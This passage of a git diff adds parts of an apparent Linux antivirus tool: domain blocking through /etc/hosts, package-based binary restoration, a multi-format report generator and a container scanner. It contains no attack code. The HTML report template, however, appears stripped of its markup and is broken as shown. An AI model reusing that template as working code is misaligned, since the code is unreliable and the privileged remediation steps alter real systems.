return action + with open(hosts_path, "a") as fh: + fh.write(f"\n{entry}\n") + action.success = True + logger.info("Blocked domain via /etc/hosts: %s", domain) + except OSError as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to block domain %s: %s", domain, exc) + + return action + + # ------------------------------------------------------------------ + # System binary restoration + # ------------------------------------------------------------------ + + def restore_system_binary(self, binary_path: str | Path) -> RemediationAction: + """Reinstall the package owning *binary_path* using the system package manager.""" + binary_path = Path(binary_path) + action = RemediationAction( + action="restore_system_binary", + target=str(binary_path), + dry_run=self.dry_run, + ) + + # Determine package manager and owning package. + pkg_name, pm_cmd = _find_owning_package(binary_path) + + if not pkg_name: + action.details = f"Cannot determine owning package for {binary_path}" + return action + + reinstall_cmd = pm_cmd + [pkg_name] + action.details = f"Reinstalling package '{pkg_name}': {' '.join(reinstall_cmd)}" + + if self.dry_run: + action.success = True + return action + + try: + subprocess.check_call( + reinstall_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=120 + ) + action.success = True + logger.info("Restored %s via %s", binary_path, " ".join(reinstall_cmd)) + except (subprocess.CalledProcessError, FileNotFoundError, OSError) as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to restore %s: %s", binary_path, exc) + + return action + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _publish(self, action: RemediationAction) -> None: + event_bus.publish(EventType.REMEDIATION_ACTION, { + "action": action.action, + "target": action.target, + "details": action.details, + "success": action.success, + "dry_run": action.dry_run, + }) + + +# --------------------------------------------------------------------------- +# Package-manager helpers +# --------------------------------------------------------------------------- + +def _find_owning_package(binary_path: Path) -> tuple: + """Return ``(package_name, reinstall_command_prefix)`` or ``("", [])``.""" + path_str = str(binary_path) + + # dpkg (Debian/Ubuntu) + try: + out = subprocess.check_output( + ["dpkg", "-S", path_str], stderr=subprocess.DEVNULL, timeout=10 + ).decode().strip() + pkg = out.split(":")[0] + return pkg, ["apt-get", "install", "--reinstall", "-y"] + except (subprocess.CalledProcessError, FileNotFoundError, OSError): + pass + + # rpm (RHEL/CentOS/Fedora) + try: + out = subprocess.check_output( + ["rpm", "-qf", path_str], stderr=subprocess.DEVNULL, timeout=10 + ).decode().strip() + if "not owned" not in out: + # Try dnf first, fall back to yum. + pm = "dnf" if shutil.which("dnf") else "yum" + return out, [pm, "reinstall", "-y"] + except (subprocess.CalledProcessError, FileNotFoundError, OSError): + pass + + return "", [] diff --git a/ayn-antivirus/ayn_antivirus/reports/__init__.py b/ayn-antivirus/ayn_antivirus/reports/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/reports/generator.py b/ayn-antivirus/ayn_antivirus/reports/generator.py new file mode 100644 index 0000000..223f602 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/reports/generator.py @@ -0,0 +1,535 @@ +"""Report generator for AYN Antivirus. + +Produces scan reports in plain-text, JSON, and HTML formats from +:class:`ScanResult` / :class:`FullScanResult` dataclasses. +""" + +from __future__ import annotations + +import html as html_mod +import json +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Union + +from ayn_antivirus import __version__ +from ayn_antivirus.core.engine import ( + FullScanResult, + ScanResult, + ThreatInfo, +) +from ayn_antivirus.utils.helpers import format_duration, format_size, get_system_info + +# Type alias for either result kind. +AnyResult = Union[ScanResult, FullScanResult] + + +class ReportGenerator: + """Create scan reports in multiple output formats.""" + + # ------------------------------------------------------------------ + # Plain text + # ------------------------------------------------------------------ + + @staticmethod + def generate_text(result: AnyResult) -> str: + """Render a human-readable plain-text report.""" + threats, meta = _extract(result) + lines: List[str] = [] + + lines.append("=" * 72) + lines.append(" AYN ANTIVIRUS — SCAN REPORT") + lines.append("=" * 72) + lines.append("") + lines.append(f" Generated : {datetime.utcnow().isoformat()}") + lines.append(f" Version : {__version__}") + lines.append(f" Scan ID : {meta.get('scan_id', 'N/A')}") + lines.append(f" Scan Type : {meta.get('scan_type', 'N/A')}") + lines.append(f" Duration : {format_duration(meta.get('duration', 0))}") + lines.append("") + + # Summary. + sev_counts = _severity_counts(threats) + lines.append("-" * 72) + lines.append(" SUMMARY") + lines.append("-" * 72) + lines.append(f" Files scanned : {meta.get('files_scanned', 0)}") + lines.append(f" Files skipped : {meta.get('files_skipped', 0)}") + lines.append(f" Threats found : {len(threats)}") + lines.append(f" CRITICAL : {sev_counts.get('CRITICAL', 0)}") + lines.append(f" HIGH : {sev_counts.get('HIGH', 0)}") + lines.append(f" MEDIUM : {sev_counts.get('MEDIUM', 0)}") + lines.append(f" LOW : {sev_counts.get('LOW', 0)}") + lines.append("") + + # Threat table. + if threats: + lines.append("-" * 72) + lines.append(" THREATS") + lines.append("-" * 72) + hdr = f" {'#':>3} {'Severity':<10} {'Threat Name':<30} {'File'}" + lines.append(hdr) + lines.append(" " + "-" * 68) + for idx, t in enumerate(threats, 1): + sev = _sev_str(t) + name = t.threat_name[:30] + fpath = t.path[:60] + lines.append(f" {idx:>3} {sev:<10} {name:<30} {fpath}") + lines.append("") + + # System info. + try: + info = get_system_info() + lines.append("-" * 72) + lines.append(" SYSTEM INFORMATION") + lines.append("-" * 72) + lines.append(f" Hostname : {info['hostname']}") + lines.append(f" OS : {info['os_pretty']}") + lines.append(f" CPUs : {info['cpu_count']}") + lines.append(f" Memory : {info['memory_total_human']}") + lines.append(f" Uptime : {info['uptime_human']}") + lines.append("") + except Exception: + pass + + lines.append("=" * 72) + lines.append(f" Report generated by AYN Antivirus v{__version__}") + lines.append("=" * 72) + return "\n".join(lines) + "\n" + + # ------------------------------------------------------------------ + # JSON + # ------------------------------------------------------------------ + + @staticmethod + def generate_json(result: AnyResult) -> str: + """Render a machine-readable JSON report.""" + threats, meta = _extract(result) + sev_counts = _severity_counts(threats) + + try: + sys_info = get_system_info() + except Exception: + sys_info = {} + + report: Dict[str, Any] = { + "generator": f"ayn-antivirus v{__version__}", + "generated_at": datetime.utcnow().isoformat(), + "scan": { + "scan_id": meta.get("scan_id"), + "scan_type": meta.get("scan_type"), + "start_time": meta.get("start_time"), + "end_time": meta.get("end_time"), + "duration_seconds": meta.get("duration"), + "files_scanned": meta.get("files_scanned", 0), + "files_skipped": meta.get("files_skipped", 0), + }, + "summary": { + "total_threats": len(threats), + "by_severity": sev_counts, + }, + "threats": [ + { + "path": t.path, + "threat_name": t.threat_name, + "threat_type": t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type), + "severity": _sev_str(t), + "detector": t.detector_name, + "details": t.details, + "file_hash": t.file_hash, + "timestamp": t.timestamp.isoformat() if hasattr(t.timestamp, "isoformat") else str(t.timestamp), + } + for t in threats + ], + "system": sys_info, + } + return json.dumps(report, indent=2, default=str) + + # ------------------------------------------------------------------ + # HTML + # ------------------------------------------------------------------ + + @staticmethod + def generate_html(result: AnyResult) -> str: + """Render a professional HTML report with dark-theme CSS.""" + threats, meta = _extract(result) + sev_counts = _severity_counts(threats) + now = datetime.utcnow() + esc = html_mod.escape + + try: + sys_info = get_system_info() + except Exception: + sys_info = {} + + total_threats = len(threats) + status_class = "clean" if total_threats == 0 else "infected" + + # --- Build threat table rows --- + threat_rows = [] + for idx, t in enumerate(threats, 1): + sev = _sev_str(t) + sev_lower = sev.lower() + ttype = t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type) + threat_rows.append( + f"" + f'{idx}' + f"{esc(t.path)}" + f"{esc(t.threat_name)}" + f"{esc(ttype)}" + f'{sev}' + f"{esc(t.detector_name)}" + f'{esc(t.file_hash[:16])}{"…" if len(t.file_hash) > 16 else ""}' + f"" + ) + + threat_table = "\n".join(threat_rows) if threat_rows else ( + 'No threats detected ✅' + ) + + # --- System info rows --- + sys_rows = "" + if sys_info: + sys_rows = ( + f"Hostname{esc(str(sys_info.get('hostname', '')))}" + f"Operating System{esc(str(sys_info.get('os_pretty', '')))}" + f"Architecture{esc(str(sys_info.get('architecture', '')))}" + f"CPUs{sys_info.get('cpu_count', '?')}" + f"Memory{esc(str(sys_info.get('memory_total_human', '')))}" + f" ({sys_info.get('memory_percent', '?')}% used)" + f"Uptime{esc(str(sys_info.get('uptime_human', '')))}" + ) + + html = f"""\ + + + + + +AYN Antivirus — Scan Report + + + + + +
+ +
Scan Report — {esc(now.strftime("%Y-%m-%d %H:%M:%S"))}
+
+ + +
+
+
{meta.get("files_scanned", 0)}
+
Files Scanned
+
+
+
{total_threats}
+
Threats Found
+
+
+
{sev_counts.get("CRITICAL", 0)}
+
Critical
+
+
+
{sev_counts.get("HIGH", 0)}
+
High
+
+
+
{sev_counts.get("MEDIUM", 0)}
+
Medium
+
+
+
{sev_counts.get("LOW", 0)}
+
Low
+
+
+ + +
+

Scan Details

+ + + + + + +
Scan ID{esc(str(meta.get("scan_id", "N/A")))}
Scan Type{esc(str(meta.get("scan_type", "N/A")))}
Duration{esc(format_duration(meta.get("duration", 0)))}
Files Scanned{meta.get("files_scanned", 0)}
Files Skipped{meta.get("files_skipped", 0)}
+
+ + +
+

Threat Details

+ + + + + + + + + + + + + + {threat_table} + +
#File PathThreat NameTypeSeverityDetectorHash
+
+ + +
+

System Information

+ + {sys_rows} +
+
+ + +
+ Generated by AYN Antivirus v{__version__} — {esc(now.isoformat())} +
+ + + +""" + return html + + # ------------------------------------------------------------------ + # File output + # ------------------------------------------------------------------ + + @staticmethod + def save_report(content: str, filepath: str | Path) -> None: + """Write *content* to *filepath*, creating parent dirs if needed.""" + fp = Path(filepath) + fp.parent.mkdir(parents=True, exist_ok=True) + fp.write_text(content, encoding="utf-8") + + +# --------------------------------------------------------------------------- +# Internal helpers +# --------------------------------------------------------------------------- + +def _extract(result: AnyResult) -> tuple: + """Return ``(threats_list, meta_dict)`` from either result type.""" + if isinstance(result, FullScanResult): + sr = result.file_scan + threats = list(sr.threats) + elif isinstance(result, ScanResult): + sr = result + threats = list(sr.threats) + else: + sr = result + threats = [] + + meta: Dict[str, Any] = { + "scan_id": getattr(sr, "scan_id", None), + "scan_type": sr.scan_type.value if hasattr(sr, "scan_type") else None, + "start_time": sr.start_time.isoformat() if hasattr(sr, "start_time") and sr.start_time else None, + "end_time": sr.end_time.isoformat() if hasattr(sr, "end_time") and sr.end_time else None, + "duration": sr.duration_seconds if hasattr(sr, "duration_seconds") else 0, + "files_scanned": getattr(sr, "files_scanned", 0), + "files_skipped": getattr(sr, "files_skipped", 0), + } + return threats, meta + + +def _sev_str(threat: ThreatInfo) -> str: + """Return the severity as an uppercase string.""" + sev = threat.severity + if hasattr(sev, "name"): + return sev.name + return str(sev).upper() + + +def _severity_counts(threats: List[ThreatInfo]) -> Dict[str, int]: + counts: Dict[str, int] = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0} + for t in threats: + key = _sev_str(t) + counts[key] = counts.get(key, 0) + 1 + return counts + + +# --------------------------------------------------------------------------- +# Embedded CSS (dark theme) +# --------------------------------------------------------------------------- +_CSS = """\ +:root { + --bg: #0f1117; + --surface: #1a1d27; + --border: #2a2d3a; + --text: #e0e0e0; + --text-dim: #8b8fa3; + --accent: #00bcd4; + --critical: #ff1744; + --high: #ff9100; + --medium: #ffea00; + --low: #00e676; + --clean: #00e676; + --infected: #ff1744; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: 'Segoe UI', 'Inter', system-ui, -apple-system, sans-serif; + background: var(--bg); + color: var(--text); + line-height: 1.6; + padding: 0; +} + +header { + background: linear-gradient(135deg, #1a1d27 0%, #0d1117 100%); + border-bottom: 2px solid var(--accent); + text-align: center; + padding: 2rem 1rem; +} + +header .logo { + font-size: 2rem; + font-weight: 800; + color: var(--accent); + letter-spacing: 0.1em; +} + +header .subtitle { + color: var(--text-dim); + font-size: 0.95rem; + margin-top: 0.3rem; +} + +section { + max-width: 1200px; + margin: 2rem auto; + padding: 0 1.5rem; +} + +h2 { + color: var(--accent); + font-size: 1.25rem; + margin-bottom: 1rem; + border-bottom: 1px solid var(--border); + padding-bottom: 0.4rem; +} + +/* Summary cards */ +.cards { + display: flex; + flex-wrap: wrap; + gap: 1rem; + max-width: 1200px; + margin: 2rem auto; + padding: 0 1.5rem; +} + +.card { + flex: 1 1 140px; + background: var(--surface); + border: 1px solid var(--border); + border-radius: 8px; + padding: 1.2rem 1rem; + text-align: center; +} + +.card-value { + font-size: 2rem; + font-weight: 700; + color: var(--text); +} + +.card-label { + color: var(--text-dim); + font-size: 0.85rem; + margin-top: 0.2rem; +} + +.card-clean .card-value { color: var(--clean); } +.card-infected .card-value { color: var(--infected); } +.card-critical .card-value { color: var(--critical); } +.card-high .card-value { color: var(--high); } +.card-medium .card-value { color: var(--medium); } +.card-low .card-value { color: var(--low); } + +/* Tables */ +table { + width: 100%; + border-collapse: collapse; +} + +.info-table td { + padding: 0.5rem 0.75rem; + border-bottom: 1px solid var(--border); +} + +.info-table td:first-child { + color: var(--text-dim); + width: 180px; + font-weight: 600; +} + +.threat-table { + background: var(--surface); + border: 1px solid var(--border); + border-radius: 8px; + overflow: hidden; +} + +.threat-table thead th { + background: #12141c; + color: var(--accent); + padding: 0.7rem 0.75rem; + text-align: left; + font-size: 0.85rem; + text-transform: uppercase; + letter-spacing: 0.05em; +} + +.threat-table tbody td { + padding: 0.6rem 0.75rem; + border-bottom: 1px solid var(--border); + font-size: 0.9rem; + word-break: break-all; +} + +.threat-table tbody tr:hover { + background: rgba(0, 188, 212, 0.06); +} + +.threat-table .idx { color: var(--text-dim); width: 40px; } +.threat-table .hash { font-family: monospace; color: var(--text-dim); font-size: 0.8rem; } +.threat-table .empty { text-align: center; color: var(--clean); padding: 2rem; font-size: 1.1rem; } + +/* Severity badges */ +.badge { + display: inline-block; + padding: 0.15rem 0.6rem; + border-radius: 4px; + font-size: 0.78rem; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.04em; +} + +.badge-critical { background: rgba(255,23,68,0.15); color: var(--critical); border: 1px solid var(--critical); } +.badge-high { background: rgba(255,145,0,0.15); color: var(--high); border: 1px solid var(--high); } +.badge-medium { background: rgba(255,234,0,0.12); color: var(--medium); border: 1px solid var(--medium); } +.badge-low { background: rgba(0,230,118,0.12); color: var(--low); border: 1px solid var(--low); } + +/* Footer */ +footer { + text-align: center; + color: var(--text-dim); + font-size: 0.8rem; + padding: 2rem 1rem; + border-top: 1px solid var(--border); + margin-top: 3rem; +} + +/* System info */ +.system { margin-bottom: 2rem; } +""" diff --git a/ayn-antivirus/ayn_antivirus/scanners/__init__.py b/ayn-antivirus/ayn_antivirus/scanners/__init__.py new file mode 100644 index 0000000..128eb00 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/__init__.py @@ -0,0 +1,17 @@ +"""AYN Antivirus scanner modules.""" + +from ayn_antivirus.scanners.base import BaseScanner +from ayn_antivirus.scanners.container_scanner import ContainerScanner +from ayn_antivirus.scanners.file_scanner import FileScanner +from ayn_antivirus.scanners.memory_scanner import MemoryScanner +from ayn_antivirus.scanners.network_scanner import NetworkScanner +from ayn_antivirus.scanners.process_scanner import ProcessScanner + +__all__ = [ + "BaseScanner", + "ContainerScanner", + "FileScanner", + "MemoryScanner", + "NetworkScanner", + "ProcessScanner", +] diff --git a/ayn-antivirus/ayn_antivirus/scanners/base.py b/ayn-antivirus/ayn_antivirus/scanners/base.py new file mode 100644 index 0000000..f5f26fe --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/base.py @@ -0,0 +1,58 @@ +"""Abstract base class for all AYN scanners.""" + +from __future__ import annotations + +import logging +from abc import ABC, abstractmethod +from typing import Any + +logger = logging.getLogger(__name__) + + +class BaseScanner(ABC): + """Common interface that every scanner module must implement. + + Subclasses provide a ``scan`` method whose *target* argument type varies + by scanner (a file path, a PID, a network connection, etc.). + """ + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @property + @abstractmethod + def name(self) -> str: + """Short, machine-friendly scanner identifier (e.g. ``"file_scanner"``).""" + ... + + @property + @abstractmethod + def description(self) -> str: + """Human-readable one-liner describing what this scanner does.""" + ... + + # ------------------------------------------------------------------ + # Scanning + # ------------------------------------------------------------------ + + @abstractmethod + def scan(self, target: Any) -> Any: + """Run the scanner against *target* and return a result object. + + The concrete return type is defined by each subclass. + """ + ... + + # ------------------------------------------------------------------ + # Helpers available to all subclasses + # ------------------------------------------------------------------ + + def _log_info(self, msg: str, *args: Any) -> None: + logger.info("[%s] " + msg, self.name, *args) + + def _log_warning(self, msg: str, *args: Any) -> None: + logger.warning("[%s] " + msg, self.name, *args) + + def _log_error(self, msg: str, *args: Any) -> None: + logger.error("[%s] " + msg, self.name, *args) diff --git a/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py new file mode 100644 index 0000000..2f583c9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py @@ -0,0 +1,1285 @@ +"""AYN Antivirus — Container Scanner. + +Scans Docker, Podman, and LXC containers for threats. +Supports: listing containers, scanning container filesystems, +inspecting container processes, checking container images, +and detecting cryptominers/malware inside containers. +""" + +from __future__ import annotations + +import json +import logging +import re +import shutil +import subprocess +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Dict, List, Optional, Tuple + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + CRYPTO_POOL_DOMAINS, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.scanners.base import BaseScanner +from ayn_antivirus.utils.helpers import generate_id + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Data classes +# --------------------------------------------------------------------------- + +@dataclass +class ContainerInfo: + """Information about a discovered container.""" + + container_id: str + name: str + image: str + status: str # running, stopped, paused + runtime: str # docker, podman, lxc + created: str + ports: List[str] = field(default_factory=list) + mounts: List[str] = field(default_factory=list) + pid: int = 0 # host PID of container init process + ip_address: str = "" + labels: Dict[str, str] = field(default_factory=dict) + + def to_dict(self) -> dict: + return { + "container_id": self.container_id, + "name": self.name, + "image": self.image, + "status": self.status, + "runtime": self.runtime, + "created": self.created, + "ports": self.ports, + "mounts": self.mounts, + "pid": self.pid, + "ip_address": self.ip_address, + "labels": self.labels, + } + + +@dataclass +class ContainerThreat: + """A threat detected inside a container.""" + + container_id: str + container_name: str + runtime: str + threat_name: str + threat_type: str # virus, malware, miner, spyware, rootkit, misconfiguration + severity: str # CRITICAL, HIGH, MEDIUM, LOW + details: str + file_path: str = "" + process_name: str = "" + timestamp: str = field( + default_factory=lambda: datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + ) + + def to_dict(self) -> dict: + return { + "container_id": self.container_id, + "container_name": self.container_name, + "runtime": self.runtime, + "threat_name": self.threat_name, + "threat_type": self.threat_type, + "severity": self.severity, + "details": self.details, + "file_path": self.file_path, + "process_name": self.process_name, + "timestamp": self.timestamp, + } + + +@dataclass +class ContainerScanResult: + """Result of scanning containers.""" + + scan_id: str + start_time: str + end_time: str = "" + containers_found: int = 0 + containers_scanned: int = 0 + threats: List[ContainerThreat] = field(default_factory=list) + containers: List[ContainerInfo] = field(default_factory=list) + errors: List[str] = field(default_factory=list) + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + @property + def duration_seconds(self) -> float: + if not self.end_time or not self.start_time: + return 0.0 + try: + s = datetime.strptime(self.start_time, "%Y-%m-%d %H:%M:%S") + e = datetime.strptime(self.end_time, "%Y-%m-%d %H:%M:%S") + return (e - s).total_seconds() + except Exception: + return 0.0 + + def to_dict(self) -> dict: + return { + "scan_id": self.scan_id, + "start_time": self.start_time, + "end_time": self.end_time, + "containers_found": self.containers_found, + "containers_scanned": self.containers_scanned, + "threats_found": len(self.threats), + "threats": [t.to_dict() for t in self.threats], + "containers": [c.to_dict() for c in self.containers], + "errors": self.errors, + "duration_seconds": self.duration_seconds, + } + + +# --------------------------------------------------------------------------- +# Scanner +# --------------------------------------------------------------------------- + +class ContainerScanner(BaseScanner): + """Scans Docker, Podman, and LXC containers for security threats. + + Gracefully degrades when a container runtime is not installed — only + the available runtimes are exercised. + """ + + _SAFE_CONTAINER_ID = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9_.\-]*$') + + def __init__(self) -> None: + self._docker_cmd = self._find_command("docker") + self._podman_cmd = self._find_command("podman") + self._lxc_cmd = self._find_command("lxc-ls") + self._incus_cmd = self._find_command("incus") + self._available_runtimes: List[str] = [] + if self._incus_cmd: + self._available_runtimes.append("incus") + if self._docker_cmd: + self._available_runtimes.append("docker") + if self._podman_cmd: + self._available_runtimes.append("podman") + if self._lxc_cmd: + self._available_runtimes.append("lxc") + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "container_scanner" + + @property + def description(self) -> str: + return ( + "Scans Docker, Podman, and LXC containers for malware, " + "miners, and misconfigurations" + ) + + @property + def available_runtimes(self) -> List[str]: + return list(self._available_runtimes) + + def scan(self, target: Any = "all") -> ContainerScanResult: + """Scan all containers or a specific one. + + Parameters + ---------- + target: + ``"all"``, a runtime name (``"docker"``, ``"podman"``, + ``"lxc"``), or a container ID / name. + """ + result = ContainerScanResult( + scan_id=generate_id()[:16], + start_time=datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + ) + + if not self._available_runtimes: + result.errors.append( + "No container runtimes found (docker/podman/lxc not installed)" + ) + result.end_time = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") + return result + + target = str(target) + if target in ("all", "docker", "podman", "lxc"): + runtime = "all" if target == "all" else target + containers = self.list_containers( + runtime=runtime, include_stopped=True, + ) + else: + containers = self._find_container(target) + + result.containers = containers + result.containers_found = len(containers) + + for container in containers: + try: + threats = self._scan_container(container) + result.threats.extend(threats) + result.containers_scanned += 1 + except Exception as exc: + msg = f"Error scanning {container.name}: {exc}" + result.errors.append(msg) + self._log_error("Error scanning container %s: %s", container.name, exc) + + result.end_time = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") + return result + + def scan_container(self, container_id: str) -> ContainerScanResult: + """Convenience — scan a single container by ID or name.""" + cid = self._sanitize_id(container_id) + return self.scan(target=cid) + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + @staticmethod + def _find_command(cmd: str) -> Optional[str]: + return shutil.which(cmd) + + @staticmethod + def _run_cmd( + cmd: List[str], + timeout: int = 30, + ) -> Tuple[str, str, int]: + """Run a shell command and return ``(stdout, stderr, returncode)``.""" + try: + proc = subprocess.run( + cmd, capture_output=True, text=True, timeout=timeout, + ) + return proc.stdout.strip(), proc.stderr.strip(), proc.returncode + except subprocess.TimeoutExpired: + return "", f"Command timed out: {' '.join(cmd)}", -1 + except FileNotFoundError: + return "", f"Command not found: {cmd[0]}", -1 + except Exception as exc: + return "", str(exc), -1 + + def _sanitize_id(self, container_id: str) -> str: + """Sanitize container ID/name for safe use in subprocess commands. + + Raises :class:`ValueError` if the ID contains invalid characters + or exceeds length limits. + """ + cid = container_id.strip() + if not cid or len(cid) > 128: + raise ValueError(f"Invalid container ID length: {len(cid)}") + if not self._SAFE_CONTAINER_ID.match(cid): + raise ValueError(f"Invalid container ID characters: {cid!r}") + return cid + + # ------------------------------------------------------------------ + # Container discovery + # ------------------------------------------------------------------ + + def list_containers( + self, + runtime: str = "all", + include_stopped: bool = False, + ) -> List[ContainerInfo]: + """List all containers across available runtimes.""" + containers: List[ContainerInfo] = [] + runtimes = ( + self._available_runtimes if runtime == "all" else [runtime] + ) + + for rt in runtimes: + if rt == "incus" and self._incus_cmd: + containers.extend(self._list_incus(include_stopped)) + elif rt == "docker" and self._docker_cmd: + containers.extend(self._list_docker(include_stopped)) + elif rt == "podman" and self._podman_cmd: + containers.extend(self._list_podman(include_stopped)) + elif rt == "lxc" and self._lxc_cmd: + containers.extend(self._list_lxc()) + + return containers + + # -- Docker -------------------------------------------------------- + + def _list_docker(self, include_stopped: bool = False) -> List[ContainerInfo]: + fmt = ( + "{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}" + "\t{{.CreatedAt}}\t{{.Ports}}" + ) + cmd = [self._docker_cmd, "ps", "--format", fmt, "--no-trunc"] + if include_stopped: + cmd.append("-a") + stdout, stderr, rc = self._run_cmd(cmd) + if rc != 0: + self._log_warning("Docker ps failed: %s", stderr) + return [] + + containers: List[ContainerInfo] = [] + for line in stdout.splitlines(): + if not line.strip(): + continue + parts = line.split("\t") + if len(parts) < 4: + continue + cid = parts[0][:12] + name = parts[1] if len(parts) > 1 else "" + image = parts[2] if len(parts) > 2 else "" + status_str = parts[3] if len(parts) > 3 else "" + created = parts[4] if len(parts) > 4 else "" + ports_str = parts[5] if len(parts) > 5 else "" + + status = ( + "running" if "Up" in status_str + else "stopped" if "Exited" in status_str + else "unknown" + ) + ports = ( + [p.strip() for p in ports_str.split(",") if p.strip()] + if ports_str else [] + ) + info = self._inspect_docker(cid) + containers.append(ContainerInfo( + container_id=cid, + name=name, + image=image, + status=status, + runtime="docker", + created=created, + ports=ports, + mounts=info.get("mounts", []), + pid=info.get("pid", 0), + ip_address=info.get("ip", ""), + labels=info.get("labels", {}), + )) + return containers + + def _inspect_docker(self, container_id: str) -> Dict[str, Any]: + cid = self._sanitize_id(container_id) + cmd = [self._docker_cmd, "inspect", cid] + stdout, _, rc = self._run_cmd(cmd, timeout=10) + if rc != 0: + return {} + try: + data = json.loads(stdout) + if not data: + return {} + c = data[0] + state = c.get("State", {}) + network = c.get("NetworkSettings", {}) + mounts = [m.get("Source", "") for m in c.get("Mounts", [])] + ip = "" + for net_info in network.get("Networks", {}).values(): + if net_info.get("IPAddress"): + ip = net_info["IPAddress"] + break + return { + "pid": state.get("Pid", 0), + "ip": ip, + "mounts": mounts, + "labels": c.get("Config", {}).get("Labels", {}), + } + except (json.JSONDecodeError, KeyError, IndexError): + return {} + + # -- Podman -------------------------------------------------------- + + def _list_podman(self, include_stopped: bool = False) -> List[ContainerInfo]: + cmd = [self._podman_cmd, "ps", "--format", "json"] + if include_stopped: + cmd.append("-a") + stdout, stderr, rc = self._run_cmd(cmd) + if rc != 0: + self._log_warning("Podman ps failed: %s", stderr) + return [] + try: + data = json.loads(stdout) if stdout else [] + except json.JSONDecodeError: + return [] + + containers: List[ContainerInfo] = [] + for c in data: + cid = str(c.get("Id", ""))[:12] + names = c.get("Names", []) + name = names[0] if names else cid + status_str = str(c.get("State", c.get("Status", ""))) + status = ( + "running" if status_str.lower() in ("running", "up") + else "stopped" + ) + ports_list: List[str] = [] + for p in c.get("Ports", []) or []: + if isinstance(p, dict): + ports_list.append( + f"{p.get('hostPort', '')}:{p.get('containerPort', '')}" + ) + else: + ports_list.append(str(p)) + containers.append(ContainerInfo( + container_id=cid, + name=name, + image=c.get("Image", ""), + status=status, + runtime="podman", + created=str(c.get("Created", c.get("CreatedAt", ""))), + ports=ports_list, + pid=c.get("Pid", 0), + labels=c.get("Labels", {}), + )) + return containers + + # -- LXC ----------------------------------------------------------- + + def _list_lxc(self) -> List[ContainerInfo]: + stdout, stderr, rc = self._run_cmd( + [self._lxc_cmd, "--fancy", "-F", "name,state,ipv4,pid"], + ) + if rc != 0: + self._log_warning("LXC list failed: %s", stderr) + return [] + containers: List[ContainerInfo] = [] + for line in stdout.splitlines()[1:]: # skip header + parts = line.split() + if len(parts) < 2: + continue + name = parts[0] + state = parts[1].lower() + ip = parts[2] if len(parts) > 2 and parts[2] != "-" else "" + pid = ( + int(parts[3]) + if len(parts) > 3 and parts[3].isdigit() + else 0 + ) + containers.append(ContainerInfo( + container_id=name, + name=name, + image="lxc", + status="running" if state == "running" else "stopped", + runtime="lxc", + created="", + pid=pid, + ip_address=ip, + )) + return containers + + # -- Incus --------------------------------------------------------- + + def _list_incus(self, include_stopped: bool = False) -> List[ContainerInfo]: + """List Incus containers (and optionally VMs).""" + cmd = [self._incus_cmd, "list", "--format", "json"] + stdout, stderr, rc = self._run_cmd(cmd, timeout=15) + if rc != 0: + self._log_warning("Incus list failed: %s", stderr) + return [] + try: + data = json.loads(stdout) if stdout else [] + except json.JSONDecodeError: + return [] + + containers: List[ContainerInfo] = [] + for c in data: + status_str = c.get("status", "").lower() + if not include_stopped and status_str != "running": + continue + + name = c.get("name", "") + ctype = c.get("type", "container") + + # Extract IPv4 addresses from the network state. + ip_address = "" + net_state = c.get("state", {}).get("network", {}) or {} + for iface_name, iface in net_state.items(): + if iface_name == "lo": + continue + for addr in iface.get("addresses", []): + if addr.get("family") == "inet" and addr.get("scope") == "global": + ip_address = addr.get("address", "") + break + if ip_address: + break + + # Fallback: try expanded_devices for static IP. + if not ip_address: + devices = c.get("expanded_devices", {}) + for dev in devices.values(): + if dev.get("type") == "nic" and dev.get("ipv4.address"): + ip_address = dev["ipv4.address"] + break + + config = c.get("config", {}) + image_desc = config.get("image.description", "") + image_os = config.get("image.os", "") + image_release = config.get("image.release", "") + image = image_desc or f"{image_os} {image_release}".strip() or ctype + + # Proxy ports (Incus proxy devices act like port mappings). + ports: List[str] = [] + for dev_name, dev in c.get("expanded_devices", {}).items(): + if dev.get("type") == "proxy": + listen = dev.get("listen", "") + connect = dev.get("connect", "") + if listen and connect: + ports.append(f"{listen} -> {connect}") + + containers.append(ContainerInfo( + container_id=name, + name=name, + image=image, + status="running" if status_str == "running" else "stopped", + runtime="incus", + created=c.get("created_at", ""), + ports=ports, + ip_address=ip_address, + labels={ + k: v for k, v in config.items() + if not k.startswith("volatile.") + and not k.startswith("image.") + }, + )) + return containers + + def _inspect_incus(self, container_name: str) -> Dict[str, Any]: + """Inspect an Incus container for security-relevant config.""" + name = self._sanitize_id(container_name) + cmd = [self._incus_cmd, "config", "show", name] + stdout, _, rc = self._run_cmd(cmd, timeout=10) + if rc != 0: + return {} + try: + import yaml 